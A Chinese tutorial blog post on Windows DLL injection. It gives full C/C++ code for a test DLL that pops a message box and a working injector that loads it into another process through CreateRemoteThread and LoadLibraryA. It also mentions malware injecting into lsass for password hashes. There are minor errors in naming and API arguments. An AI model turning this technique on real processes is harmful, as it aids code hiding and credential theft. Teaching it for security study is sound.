学习DLL注入

dll文件简介

​ .dll文件是Dynamic Link Library(动态链接库)文件的缩写,它是一种共享库文件,包含了程序所需的代码和数据。与静态链接库不同,动态链接库可以在程序运行时动态加载,使得程序的内存占用更小,同时也方便了程序的更新和维护。然而,这并不意味着我们不能以任何其他形式(可执行文件、手写文件等)注入程序集。需要注意的是,您需要在系统上拥有适当级别的权限才能开始使用其他程序的内存。

.dll文件的背景和相关作用

.dll文件最早出现在Windows 3.1操作系统中,用于解决内存资源不足的问题。随着Windows操作系统的发展,.dll文件也逐渐成为了Windows操作系统的重要组成部分。

.dll文件有许多重要的作用,其中包括:

  1. 提高程序的可重用性。通过将公共代码封装到.dll文件中,可以使得不同的程序都可以共享这些代码,从而提高程序的可重用性。
  2. 减少程序的内存占用。由于.dll文件可以在程序运行时动态加载,所以可以减少程序的内存占用,提高系统的运行效率。
  3. 方便程序的更新和维护。由于.dll文件可以独立于程序而存在,所以可以方便地对程序进行更新和维护,而不需要重新编译整个程序。
  4. 提高程序的安全性。由于.dll文件可以被多个程序共享,所以可以减少程序中的重复代码,从而降低程序的漏洞风险。

关于dll注入技术

​ DLL注入技术可以被正常软件用来添加/扩展其他程序,调试或逆向工程的功能性;比如,反病毒软件和端点安全解决方案使用这些技术来将其软件的代码嵌入/拦截系统中“所有”正在运行的进程,这使得它们可以在其运行过程中监控每一个进程,从而更好地保护我们。该技术也常被恶意软件以多种方式利用。一种经常被用到的通用技术是注入“lsass”进程来获取口令哈希值。我们之前都这么干过。很明显,恶意代码同样广泛应用了代码注入技术:不管是运行shellcode代码,运行PE文件,还是在另一个进程的内存空间中加载DLL文件以隐藏自身,等等。 ​ 这意味着从安全角度来说,了解DLL注入的工作原理是十分必要的。

​ Windows API 实际上提供了许多函数,允许我们附加和操作其他程序以进行调试。我们将利用这些方法来执行 DLL 注入。我将 DLL 注入分为四个步骤:

  1. 附加到进程

  2. 在进程内分配内存

  3. 将DLL 或 DLL 路径复制到进程内存中并确定适当的内存地址

  4. 指示进程执行您的 DLL

    这些步骤中的每一个都可以通过使用一种或多种编程技术来完成,如下图所示。了解每种技术的详细信息/选项非常重要,因为它们都有其优点和缺点。

pPiW4Gq.png


dll注入实践

生成dll文件

我这里使用DEVcpp。

pPkfio4.png

新建的项目有两个文件,一个是dll.h,一个是dllmain.cpp,将这两个文件修改为如下代码,在dll被映射到了进程的地址空间时弹窗:

dll.h代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#ifndef _DLL_H_
#define _DLL_H_
 
#if BUILDING_DLL
#define DLLIMPORT __declspec(dllexport)
#else
#define DLLIMPORT __declspec(dllimport)
#endif
 
class DLLIMPORT DllClass
{
	
};
 
#endif

dllmain.cpp代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/* Replace "dll.h" with the name of your header */
#include "dll.h"
#include <windows.h>
 
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
	switch(fdwReason)
	{
		case DLL_PROCESS_ATTACH:
		{
			//当这个DLL被映射到了进程的地址空间时
			MessageBox(0, "inj!\n","inj",MB_ICONINFORMATION);
			break;
		}
		case DLL_PROCESS_DETACH:
		{
			//这个DLL从进程的地址空间中解除映射
			break;
		}
		case DLL_THREAD_ATTACH:
		{
			//一个线程正在被创建
			break;
		}
		case DLL_THREAD_DETACH:
		{
			//线程终结
			break;
		}
	}
	
	/* Return TRUE on success, FALSE on failure */
	return TRUE;
}

然后进行编译得到test.dll文件。

运行一个DLL文件本身并不像运行可执行文件(例如.exe文件)那样直接执行。DLL文件是一种动态链接库,它包含可由其他程序调用的函数和资源。

要运行DLL文件,通常需要通过其他可执行文件(如.exe文件)或进程来加载和使用DLL中的函数。DLL文件通常作为库文件供其他程序调用,以提供特定功能的实现。

在C/C++等编程语言中,可以使用动态链接库的函数,通过加载DLL文件来调用其中的功能。在Windows系统中,可以使用LoadLibrary函数加载DLL,并通过GetProcAddress函数获取DLL中的函数地址,并进行调用。

总结来说,运行DLL文件需要其他程序来加载和调用其中的函数,而不是直接运行DLL文件本身。

编写注入文件

主要步骤如下:

  • (1)打开目标进程
  • (2)分配目标进程的内存
  • (3)将dll加载到目标进程
  • (4)在目标进程中创建新的线程

这里涉及到的函数有: (1)OpenProcess:用于打开指定进程的句柄,以便在进程间进行通信或操作。

1
2
3
4
5
HANDLE OpenProcess(
  DWORD dwDesiredAccess,  // 访问权限
  BOOL  bInheritHandle,   // 是否继承句柄
  DWORD dwProcessId       // 进程ID
);

(2)VirtualAllocEx:为远程进程分配内存缓冲区,这个函数可以用于实现共享内存,动态加载DLL文件,以及创建线程栈等操作。

1
2
3
4
5
6
7
LPVOID VirtualAllocEx(
  HANDLE hProcess,       // 目标进程句柄
  LPVOID lpAddress,      // 分配的内存地址
  SIZE_T dwSize,         // 分配的内存大小
  DWORD flAllocationType,// 内存分配类型
  DWORD flProtect        // 内存保护属性
);

(3)WriteProcessMemory:在进程之间复制数据,该函数可用于在不同进程之间共享数据,或者在同一进程中的不同线程之间共享数据。:

1
2
3
4
5
6
7
BOOL WriteProcessMemory(
  HANDLE  hProcess,      // 目标进程句柄
  LPVOID  lpBaseAddress, // 目标内存地址
  LPCVOID lpBuffer,      // 写入数据的缓冲区
  SIZE_T  nSize,         // 写入数据的大小
  SIZE_T  *lpNumberOfBytesWritten // 实际写入数据的大小
);

(4)CreateRemoteThread:用于在指定进程中创建一个远程线程,并在远程线程中执行指定的函数。该函数可用于在不同进程之间执行函数,或者在同一进程中的不同线程之间执行函数。

1
2
3
4
5
6
7
8
9
HANDLE CreateRemoteThread(
  HANDLE                 hProcess,         // 目标进程句柄
  LPSECURITY_ATTRIBUTES lpThreadAttributes,// 线程安全属性
  SIZE_T                 dwStackSize,      // 线程栈大小
  LPTHREAD_START_ROUTINE lpStartAddress,   // 线程入口地址
  LPVOID                 lpParameter,      // 线程参数
  DWORD                  dwCreationFlags,  // 线程创建标志
  LPDWORD                lpThreadId        // 线程ID
);

(5)WaitForSingleObject:用于等待一个指定的对象变为有信号状态。

1
2
3
4
DWORD WaitForSingleObject(
  HANDLE hHandle,  // 要等待的对象的句柄
  DWORD  dwMilliseconds  // 等待时间,以毫秒为单位
);

(6)VirtualFreeEx:用于释放指定进程中的虚拟内存。

1
2
3
4
5
6
BOOL VirtualFreeEx(
  HANDLE hProcess,  // 要释放虚拟内存的进程的句柄
  LPVOID lpAddress,  // 要释放的虚拟内存的起始地址
  SIZE_T dwSize,  // 要释放的虚拟内存的大小,以字节为单位
  DWORD  dwFreeType  // 释放类型
);

完整代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
 
char evilDLL[] = "G:\\desktop\\1\\test.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;
 
int main(int argc, char* argv[]) {
	HANDLE ph; // 进程句柄 
	HANDLE rt; // 远程线程 
	LPVOID rb; // 远程内存 
 
	// 获取LoadLibraryA函数的地址
	HMODULE hKernel32 = GetModuleHandle("Kernel32");
	VOID *lb = (VOID *)GetProcAddress(hKernel32, "LoadLibraryA");
 
	// 判断进程是否存在 
	if ( atoi(argv[1]) == 0) {
		printf("PID not found!\n");
		return -1;
	}
	printf("PID: %i", atoi(argv[1]));
	
	// 打开目标进程
	ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
 
	// 分配远程进程的内存 
	rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
 
	// 在进程间复制dll 
	WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
 
	// 在目标进程中创建新的线程
	rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
  
	// 等待远程线程执行结束
	WaitForSingleObject(rt, INFINITE);
 
	// 清理内存空间
	VirtualFreeEx(ph, rb, 0, evilLen);
  
	CloseHandle(ph);
	CloseHandle(rt);
	
  	return 0;
}

这段代码是一个使用Windows API将动态链接库(DLL)注入到指定进程的C/C++程序。代码的目的似乎是将位于"G:\desktop\1\test.dll"路径下的DLL文件注入到一个指定的目标进程中,目标进程的进程ID(PID)通过命令行参数传递。

代码的主要步骤如下:

  1. 定义了一个字符数组"evilDLL",其中包含要注入的DLL文件的路径。
  2. 初始化一些变量,比如"evilLen",用于确定DLL路径的长度。
  3. 使用指定的进程ID(PID)打开目标进程的句柄。
  4. 在目标进程中分配远程内存,用于保存"test.dll"文件的内容。
  5. 将"test.dll"文件的内容写入目标进程中已分配的远程内存。
  6. 从"Kernel32"库中获取"LoadLibraryA"函数的地址。
  7. 在目标进程中创建一个远程线程,以启动"LoadLibraryA"函数的执行,将保存"test.dll"内容的远程内存地址作为参数传递。
  8. 等待远程线程执行结束。
  9. 释放目标进程中已分配的远程内存。
  10. 关闭目标进程和远程线程的句柄。

这里将dll注入到cmd.exe中,先打开一个自己写的new1.exe,通过processhacker找到PID:(因为是直接编译运行的new1.exe,所以new1.exe运行在cmd.exe上面) pPk5KmV.png 接着编译上面的代码得到new1.exe,再运行这个test1.exe

pPk55tg.png

可以看到注入成功,在processhacker中可以看到cmd.exe加载了test.dll

pPk5Ln0.png

注意:复现的时候选择好注入的exe程序,因为这种入门的dll注入很有可能被防御掉,就不会显示出来。